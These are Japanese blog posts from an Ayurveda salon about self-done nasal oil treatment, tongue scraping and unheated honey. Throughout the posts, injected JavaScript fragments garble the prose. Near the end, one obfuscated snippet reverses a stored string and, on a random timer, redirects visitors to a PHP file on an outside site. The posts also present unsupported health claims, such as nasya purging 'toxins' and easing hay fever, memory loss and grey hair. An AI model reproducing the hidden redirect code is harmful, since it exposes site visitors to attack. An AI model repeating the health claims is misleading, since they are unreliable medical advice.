しかし最近、そのナスヤを毎日やっていますandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}(`・ω・´)キリッ
「ナスヤ」は「経鼻法」と言われる治療法で
アヌタイラと言うメディカルオイルを鼻から入れて
鼻の奥の微細な血管などから吸収させ、
頭部全体の毒素などを排泄させるもの。

アーユルヴェーダでは「鼻は脳への入り口」と言われていて
ナスヤはそんな大事な鼻のトラブルはもちろん、
脳や神経など鎖骨から上を整える重要な治療法です。
花粉症や鼻炎、蓄膿症、あるいは中耳炎などの耳鼻科系から
頭痛や偏頭痛、記憶力の向上、白髪や抜け毛にまで効果ありといいます。
【セルフナスヤのやり方】andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
1.オイルで顔をマッサージ(鼻からおでこにかけてをしっかり)
2.スチームやホットタオルで顔を温める(目は温めない方が良い)
3.片方の鼻の穴を抑え、反対の穴にアヌタイラを入れて吸う(と両鼻やる)

  ※ドクターにやってもらうときは、そこそこの量を入れますが、
   セルフケアとして日常やる時は片鼻2滴程度andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
4.鼻からおでこにかけてマッサージしながら数分安静に
5.そのうち喉にオイルの味のする痰のようなものが
  降りてくる感じがしてくるので
  ぬるま湯でうがいしながら、ひたすら吐き出す
6.鼻からも出てきたら、鼻もかんで良い
7.味がしなくなるまで、ひたすら吐き出し続ければ終了

  ※喉や鼻に降りてきたものは、
  毒素とかをかき集めてきたもの、飲んだらダメです!

※できれば、ナスヤをやるのは日中が良く
 浄化の時間である朝にやるのはおすすめです

オイルが奥に沁み込んでいくと、目や鼻が沁みることが多いです。
私も、その時によって耳の方や頭の方にしみる感じが良くします。
人によっては、顔のいろんな部分がピリピリするように
感じることもあるようです。
このときに、ああ毒素がたまってんのかな~と思うわけです…
喉に降りてくるときの味はなんともいえない味ですが
不思議なことに吐き出し終わるとスッキリ
しかも、視界がクッキリしたり、味覚が敏感になったりします。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

ちなみに、私はスチームとかの温めを省いてしまうことも多く、
アヌタイラを入れてマッサージ→吐き出す、と言う
メイン部分だけをざっくりやっています。
めんどくさがりですみません・・・
でも、私も花粉症で、ここ数年はお薬を飲んでいるのですが
ナスヤで自己回復できるように
今から頑張っていこうと思ってる次第。

花粉症が始まる半年前ぐらいからセルフナスヤをやると
症状が軽くなったり、治ってしまう人もいるそうなんで
本気で取り組んで生きたい所存です
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

前回の頭痛の時は、オイルマッサージと共にナスヤもやったので
W効果があったのではと思います。
頭痛だけでなく、リンパの腫れも翌日には引いてましたからね

そんな「ナスヤ」をやってみたい方
サロンで私がやってあげることはできませんが
ご自分でお試しいただくことは可能です。
施術の際に遠慮なくお申し出くださいandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

また家でやってみたい方には、アヌタイラの入手方法など
アドバイスいたしますので、どうぞご相談ください
アーユルヴェーダサロンmanas 《マナス》

舌の掃除をしてみよう

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
今日は「タングスクレーパー」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}をご紹介。
これは、舌につく舌苔(ぜったい)と言う
ねばねばしたものを取り除く用具であります。


アーユルヴェーダでは、
寝ている間に、舌にアーマ(毒素)が出ているandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
と言い、つまり舌苔がたくさんたまっているのは
消化や代謝が完全におこなわれておらず、
未消化物がたまっているということ。

(この未消化物がアーマなのです)
朝、舌についている舌苔はアーマなので
ご飯を食べる前に、うっかり飲んだりしてしまう前に(笑)
朝起きたら、歯磨きと一緒に舌も掃除するのがベストです。

これにより味覚も敏感andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}になり、口臭予防andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}にもなりますよ~
しかもアーユルヴェーダでは、
消化や代謝がうまくいっているかどうかは
健康を維持していくための重要なポイントなので、
自分の舌苔状態を毎日チェックするだけで
それを見極める目安になるというわけです。

使い方は、両端を両手で持って、
真ん中のカーブしている部分を舌の上の奥の方に乗せます。
そして、軽く舌の上を滑らせながら手前に引く
すると、カーブした部分に舌苔がついているはず。
2~3回やれば十分。
力を入れ過ぎると舌を傷つけるので、やりすぎは禁物です。

舌苔は、白っぽいことが多いですが、
人によっては黄色っぽかったり、色がついていることも。
その状態も、自分の消化や代謝によって
日々、変化しているので、よく観察してください。


インドでは、このタングスクレーパーが
雑貨屋みたいなとこでも、10円ぐらいで売っていて
みんなやはり日常的に使っているよう。
もちろん私も、その10円のを買ってきて使っていたのですが、
いつの間にかなくなってしまい、
しばらく舌掃除から遠ざかっていました…(ダメじゃん)
ところが最近、いつも利用しているティラキタandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}さんで
ふとタングスクレーパーが目に入り、
おおと思ってさっそく購入。
2012-12-03s.jpg
持ち手つきのタングスクレーパーって便利!

数日使ってみてるのですが、んまあ、よく取れること。
ってことは私、消化代謝がイマイチってことですよね~

最近、ちょっと食べ過ぎてるしなあ…
と、反省のきっかけにもなるわけです。【悪い例】
いやあ、こんな簡単なことで体調の変化を
把握できるなんて、しかもお口の健康にもいいんですから
やらないわけにはいきませんよね
みなさんもぜひお試しを~
アーユルヴェーダサロンmanas 《マナス》

はちみつ続編

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
さて昨日、大興奮でお伝えした第一報に続き、
今日も「はちみつ発見」続報を
お伝えします。(笑)
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

とりあえず、はちみつ一つで何をそんなに
盛り上がってんのよ、と思った方は
昨日の記事「お買い得価格の非加熱はちみつ発見!」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
をご覧ください。ふふふ。
アーユルヴェーダにとって、非加熱はちみつが
どれほど大切かお分かりいただけるはず。
そして、見つけたのがこちら。

「ナチュロニー カナディアンハニー」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
でございます。
昨日は嬉しさのあまり、勢いでお伝えしましたが、
ふと不安になったのが
「本当に非加熱なんでしょうね???」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ということ。
そこでワタクシ、パッケージにあった
こちらの会社「ナチュロニー」HPandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}へ。
Honey facts - Musée de labeille-160435
すると、なんと日本語サイトもあったのですが
見てみると、日本語サイトでは省かれている
「Honey Facts」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}と言うページに
知りたいことが書かれていました

自己流で訳してみると…


「蜂蜜の事実」
 ~低温殺菌か否か~andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

殺菌蜂蜜は、結晶化を防ぐために
華氏171℃(摂氏77度ぐらい)で加熱されています。
それは、あらゆるビタミンやミネラルを奪い、
蜂蜜の色を暗くさせ、味をも変えてしまいます。
そこで、MUSEE DE L’ABEILLE
(おそらく会社の元となった「ハチ博物館」)は
蜂蜜を殺菌しないことに決めました。
私たちの蜂蜜は、ろ過しただけの100%天然蜂蜜です。
ビタミンやミネラルが含まれ、まさに本物の味です。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

しかし、それ故に多少なりとも結晶化する傾向があるので
室温で保存することをお勧めします。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

蜂蜜は生鮮食品ではありませんから、結晶化したものを食べても
健康への問題は何もありません。


ってな感じです。
わーい本当の非加熱はちみつだー
これで、安心して皆さんにもお勧めできます
そして、さっそく私も使ってみました。
味は、とっても美味しいandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

開けたばかりの蜂蜜は、濃度もさらさらしています。
とりあえず、生姜を漬けてみましたよー
IMG_20120816_153032.jpg
ちなみに、このナチュロニー、いろんな種類があります。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
私がカルディで見たのは、スタンダードandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}なこれと
ブルーベリーandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}だけだったんですが、
あとセイダカアワダチソウandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}の蜂蜜もあるんですねー

HPには、そばの蜂蜜も出てました。
→「ナチュロニーラインナップ」
あと、この容器がとっても使いやすい。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ハインツのケチャップ型なんですけど、
蜂蜜の切れが良くてたれません。これ、うれしい
いやー本当にいいものを見つけました。
アーユルヴェーダ仲間の皆さんからも
良いリアクションが得られて、ちょっとうれしい
しかもその中で、荻窪に「はちみつ専門店」があることを
教えていただいちゃいました~
近々、潜入して、また良いはちみつを見つけたら
お伝えしたいと思います。
アーユルヴェーダサロンmanas 《マナス》

うれしい大発見!!!

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
アーユルヴェーダには、
様々な食のルールや注意があります。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

中でも、一番恐ろしげな(笑)一つが
「はちみつは加熱するとアーマ(毒素)になる」
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
というもの。・
最初知ったときは、
「料理やお菓子作りに使わなきゃいいんでしょー」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ぐらいに思っていたのですが、そうではありません

実は、スーパーなどで売っている手に入りやすい
はちみつの多くは加熱殺菌されており、
売っている時点ですでに加熱済みなのですandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

ぎゃーこわいandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
私は、それを知ってから、はちみつの棚を見るたび
「あああアーマが売っているっ
とおびえるようになってしまいました。(嘘)
とは言え、もともとそれほど蜂蜜好きでもなかったので
だったら食べなくてもいいやーと思っていたのですが、
蜂蜜は、加熱さえしなければ
最高に素晴らしい食べ物なんです。andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}

いろんなアーユルヴェーダレシピにも使われているし、
(もちろん加熱はしません)
昨年、体調を見て頂いたドクターのアドバイスにも
はちみつを使うものがあったりして、
やっぱり「加熱してないはちみつ」が必要になりました。
で、探したわけです。
もちろん商品はいろいろあるのですが、
殺菌しないで食べられるはちみつを作るには
手間がかかるためか、お値段が結構いいんです

でも、背に腹は代えられませんから買いました。ええ。

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andino400jyunkatu-2%2f%3fscid%3daf_ich_link_tbl&m=http%3a%2f%2fm.rakuten.co.jp%2fnigari612%2fn%2fandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andino400jyunkatu-2″ target=”_blank”>【送料無料】アンディーノ純正活性はちみつ400g 2個セット【天然無添加★非加熱★発酵はちみつ(ハチミツ)】 10P17Aug12

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andino400jyunkatu-2%2f%3fscid%3daf_ich_link_tbl&m=http%3a%2f%2fm.rakuten.co.jp%2fnigari612%2fn%2fandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andino400jyunkatu-2″ target=”_blank”>【送料無料】アンディーノ純正活性はちみつ400g 2個セット【天然無添加★非加熱★発酵はちみつ(ハチミツ)】 10P17Aug12
価格:5,355円(税込、送料込)

←それが、これです。
やっぱり美味しんですよー
酵素が生きているから、しゅわしゅわと
泡のようなものがたってて
いかにも生きてる!って感じです。

でもやっぱり、このお値段…(汗)
小市民には、なかなかの贅沢…
なので、ずっと探してました。
もっとお買い得な非加熱はちみつを
輸入食材店には、それっぽいのも
あるんですが加熱済みかどうか
書いてないのも多くて
なかなか見つけられずにいました。

ところが今日、思いがけず見つけてしまったのですandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
じゃーんandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
2012-08-15 16.42.40
375gで、たったの680円andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
ちゃんと裏には…書いてありますandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
2012-08-15 19.08.45
見つけた場所は、
春に阿佐ヶ谷駅のショッピングモールに入った
「カルディコーヒーファーム」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}と言う
